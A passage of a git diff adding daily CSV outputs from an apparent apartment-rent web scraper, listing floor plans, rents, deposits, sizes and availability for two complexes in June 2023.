(1x1),1 Bed 1 Bath,"$2,633",$300,906 - 930 sq.ft.,None,N/A +20230607,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230607,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,782",$300,883 - 888 sq.ft.,None,N/A +20230607,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230607,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230607,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230607,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230607,talisman,C3 (2x2),2 Bed 2 Bath,"$3,598",$300,1010 - 1103 sq.ft.,None,N/A +20230607,talisman,C1 (2x2),2 Bed 2 Bath,"$3,818",$300,1029 - 1294 sq.ft.,None,N/A +20230607,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230607,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230607,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,151",$300,1140 - 1185 sq.ft.,None,N/A +20230607,talisman,C8 (2x2),2 Bed 2 Bath,"$3,228",$300,1155 sq.ft.,None,N/A +20230607,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230607,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230607,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,143",$300,1228 - 1296 sq.ft.,None,N/A +20230607,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230607,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230607,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230607,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230607,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230607,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230607,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230607,modera,S01,Studio / 1 ba,"Starting from $1,944/month",$300,477+,/,"Available Jun 10, 2023" +20230607,modera,S02,Studio / 1 ba,"Starting from $2,080/month",$300,498+,/,Only One Left! +20230607,modera,A01,1 bd/1 ba,"Starting from $2,059/month",$300,531,/,"Available Jun 11, 2023" +20230607,modera,A05,1 bd/1 ba,"Starting from $1,974/month",$300,596,/,"Available Jun 12, 2023" +20230607,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" +20230607,modera,A09,1 bd/1 ba,"$2,314/month",$300,640,/,Only One Left! +20230607,modera,A10,1 bd/1 ba,"Starting from $2,429/month",$300,672+,/,"Available Jun 08, 2023" +20230607,modera,A11,1 bd/1 ba,"Starting from $2,504/month",$300,667,/,"Available Jul 09, 2023" +20230607,modera,A13D,1 bd/1 ba,"Starting from $2,419/month",$300,751,/,"Available Jun 09, 2023" +20230607,modera,A15D,1 bd/1 ba,"Starting from $2,569/month",$300,790+,/,"Available Jun 24, 2023" +20230607,modera,B02,2 bd/2 ba,"Starting from $3,140/month",$300,989+,/,"Available Jun 13, 2023" +20230607,modera,B03,2 bd/2 ba,"Starting from $3,385/month",$300,"1,039+",/,Only One Left! +20230607,modera,B07,2 bd/2 ba,"Starting from $3,470/month",$300,"1,233",/,Only One Left! +20230607,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230608.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230608.csv new file mode 100644 index 00000000000..d0f72e9543f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230608.csv @@ -0,0 +1,61 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230608,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230608,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230608,talisman,A10 (1x1),1 Bed 1 Bath,"$2,240",$300,578 - 665 sq.ft.,None,N/A +20230608,talisman,A1 (1x1),1 Bed 1 Bath,"$2,340",$300,604 - 671 sq.ft.,None,N/A +20230608,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230608,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230608,talisman,A2 (1x1),1 Bed 1 Bath,"$2,285",$300,617 - 715 sq.ft.,None,N/A +20230608,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230608,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230608,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230608,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230608,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230608,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230608,talisman,A5 (1x1),1 Bed 1 Bath,"$2,425",$300,734 - 739 sq.ft.,None,N/A +20230608,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230608,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230608,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230608,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,424",$300,785 - 852 sq.ft.,None,N/A +20230608,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230608,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230608,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230608,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,534",$300,906 - 930 sq.ft.,None,N/A +20230608,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230608,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,579",$300,883 - 888 sq.ft.,None,N/A +20230608,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230608,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230608,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230608,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230608,talisman,C3 (2x2),2 Bed 2 Bath,"$3,412",$300,1010 - 1103 sq.ft.,None,N/A +20230608,talisman,C1 (2x2),2 Bed 2 Bath,"$3,632",$300,1029 - 1294 sq.ft.,None,N/A +20230608,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230608,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230608,talisman,CL5 (2x2),2 Bed 2 Bath,"$2,943",$300,1140 - 1185 sq.ft.,None,N/A +20230608,talisman,C8 (2x2),2 Bed 2 Bath,"$3,042",$300,1155 sq.ft.,None,N/A +20230608,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230608,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230608,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,044",$300,1228 - 1296 sq.ft.,None,N/A +20230608,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230608,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230608,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230608,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230608,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230608,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230608,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230608,modera,S01,Studio / 1 ba,"Starting from $1,944/month",$300,477+,/,"Available Jun 10, 2023" +20230608,modera,S02,Studio / 1 ba,"Starting from $2,080/month",$300,498+,/,Only One Left! +20230608,modera,A01,1 bd/1 ba,"Starting from $2,059/month",$300,531,/,"Available Jun 11, 2023" +20230608,modera,A03,1 bd/1 ba,"Starting from $2,044/month",$300,553+,/,"Available Jul 08, 2023" +20230608,modera,A05,1 bd/1 ba,"Starting from $1,974/month",$300,596,/,"Available Jun 12, 2023" +20230608,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" +20230608,modera,A06,1 bd/1 ba,"Starting from $2,364/month",$300,606,/,"Available Aug 02, 2023" +20230608,modera,A09,1 bd/1 ba,"Starting from $2,306/month",$300,640,/,Only One Left! +20230608,modera,A10,1 bd/1 ba,"Starting from $2,429/month",$300,672+,/,"Available Jun 10, 2023" +20230608,modera,A11,1 bd/1 ba,"Starting from $2,504/month",$300,667,/,"Available Jul 09, 2023" +20230608,modera,A13D,1 bd/1 ba,"Starting from $2,303/month",$300,751,/,"Available Jun 09, 2023" +20230608,modera,A15D,1 bd/1 ba,"Starting from $2,453/month",$300,790+,/,"Available Jun 24, 2023" +20230608,modera,B02,2 bd/2 ba,"Starting from $3,140/month",$300,989+,/,"Available Jun 13, 2023" +20230608,modera,B03,2 bd/2 ba,"Starting from $3,385/month",$300,"1,039+",/,Only One Left! +20230608,modera,B07,2 bd/2 ba,"Starting from $3,470/month",$300,"1,233",/,Only One Left! +20230608,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230625.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230625.csv new file mode 100644 index 00000000000..a9b2a6964ce --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230625.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230625,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230625,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230625,talisman,A10 (1x1),1 Bed 1 Bath,"$2,235",$300,578 - 665 sq.ft.,None,N/A +20230625,talisman,A1 (1x1),1 Bed 1 Bath,"$2,255",$300,604 - 671 sq.ft.,None,N/A +20230625,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230625,talisman,A3 (1x1),1 Bed 1 Bath,"$2,305",$300,609 - 642 sq.ft.,None,N/A +20230625,talisman,A2 (1x1),1 Bed 1 Bath,"$2,280",$300,617 - 715 sq.ft.,None,N/A +20230625,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230625,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230625,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230625,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230625,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230625,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230625,talisman,A5 (1x1),1 Bed 1 Bath,"$2,420",$300,734 - 739 sq.ft.,None,N/A +20230625,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230625,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230625,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230625,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230625,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230625,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230625,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230625,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230625,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230625,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230625,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230625,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230625,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230625,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230625,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230625,talisman,C1 (2x2),2 Bed 2 Bath,"$3,719",$300,1029 - 1294 sq.ft.,None,N/A +20230625,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230625,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230625,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,641",$300,1140 - 1185 sq.ft.,None,N/A +20230625,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230625,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230625,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230625,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,742",$300,1228 - 1296 sq.ft.,None,N/A +20230625,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230625,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230625,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230625,talisman,D1 (3x2),3 Bed 2 Bath,"$3,844",$300,1241 - 1362 sq.ft.,None,N/A +20230625,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230625,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230625,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230626.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230626.csv new file mode 100644 index 00000000000..222a0625a48 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230626.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230626,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230626,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230626,talisman,A10 (1x1),1 Bed 1 Bath,"$2,235",$300,578 - 665 sq.ft.,None,N/A +20230626,talisman,A1 (1x1),1 Bed 1 Bath,"$2,255",$300,604 - 671 sq.ft.,None,N/A +20230626,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230626,talisman,A3 (1x1),1 Bed 1 Bath,"$2,305",$300,609 - 642 sq.ft.,None,N/A +20230626,talisman,A2 (1x1),1 Bed 1 Bath,"$2,280",$300,617 - 715 sq.ft.,None,N/A +20230626,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230626,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230626,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230626,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230626,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230626,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230626,talisman,A5 (1x1),1 Bed 1 Bath,"$2,420",$300,734 - 739 sq.ft.,None,N/A +20230626,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230626,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230626,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230626,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230626,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230626,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230626,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230626,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230626,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230626,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230626,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230626,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230626,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230626,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230626,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230626,talisman,C1 (2x2),2 Bed 2 Bath,"$3,719",$300,1029 - 1294 sq.ft.,None,N/A +20230626,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230626,talisman,C7 (2x2),2 Bed 2 Bath,"$3,549",$300,1074 - 1131 sq.ft.,None,N/A +20230626,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,641",$300,1140 - 1185 sq.ft.,None,N/A +20230626,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230626,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230626,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230626,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,742",$300,1228 - 1296 sq.ft.,None,N/A +20230626,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230626,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230626,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230626,talisman,D1 (3x2),3 Bed 2 Bath,"$3,844",$300,1241 - 1362 sq.ft.,None,N/A +20230626,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230626,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230626,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230627.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230627.csv new file mode 100644 index 00000000000..9bfeda45762 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230627.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230627,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230627,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230627,talisman,A10 (1x1),1 Bed 1 Bath,"$2,071",$300,578 - 665 sq.ft.,None,N/A +20230627,talisman,A1 (1x1),1 Bed 1 Bath,"$2,091",$300,604 - 671 sq.ft.,None,N/A +20230627,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230627,talisman,A3 (1x1),1 Bed 1 Bath,"$2,141",$300,609 - 642 sq.ft.,None,N/A +20230627,talisman,A2 (1x1),1 Bed 1 Bath,"$2,116",$300,617 - 715 sq.ft.,None,N/A +20230627,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230627,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230627,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230627,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230627,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230627,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230627,talisman,A5 (1x1),1 Bed 1 Bath,"$2,256",$300,734 - 739 sq.ft.,None,N/A +20230627,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230627,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230627,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230627,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230627,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230627,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230627,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230627,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230627,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230627,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230627,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230627,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230627,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230627,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230627,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230627,talisman,C1 (2x2),2 Bed 2 Bath,"$3,667",$300,1029 - 1294 sq.ft.,None,N/A +20230627,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230627,talisman,C7 (2x2),2 Bed 2 Bath,"$3,417",$300,1074 - 1131 sq.ft.,None,N/A +20230627,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,721",$300,1140 - 1185 sq.ft.,None,N/A +20230627,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230627,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230627,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230627,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,822",$300,1228 - 1296 sq.ft.,None,N/A +20230627,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230627,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230627,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230627,talisman,D1 (3x2),3 Bed 2 Bath,"$3,792",$300,1241 - 1362 sq.ft.,None,N/A +20230627,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230627,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230627,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230628.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230628.csv new file mode 100644 index 00000000000..f0b78a927cf --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230628.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230628,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230628,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230628,talisman,A10 (1x1),1 Bed 1 Bath,"$2,105",$300,578 - 665 sq.ft.,None,N/A +20230628,talisman,A1 (1x1),1 Bed 1 Bath,"$2,070",$300,604 - 671 sq.ft.,None,N/A +20230628,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230628,talisman,A3 (1x1),1 Bed 1 Bath,"$2,120",$300,609 - 642 sq.ft.,None,N/A +20230628,talisman,A2 (1x1),1 Bed 1 Bath,"$2,095",$300,617 - 715 sq.ft.,None,N/A +20230628,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230628,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230628,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230628,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230628,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230628,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230628,talisman,A5 (1x1),1 Bed 1 Bath,"$2,235",$300,734 - 739 sq.ft.,None,N/A +20230628,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230628,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230628,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230628,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230628,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230628,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230628,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230628,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230628,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230628,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A 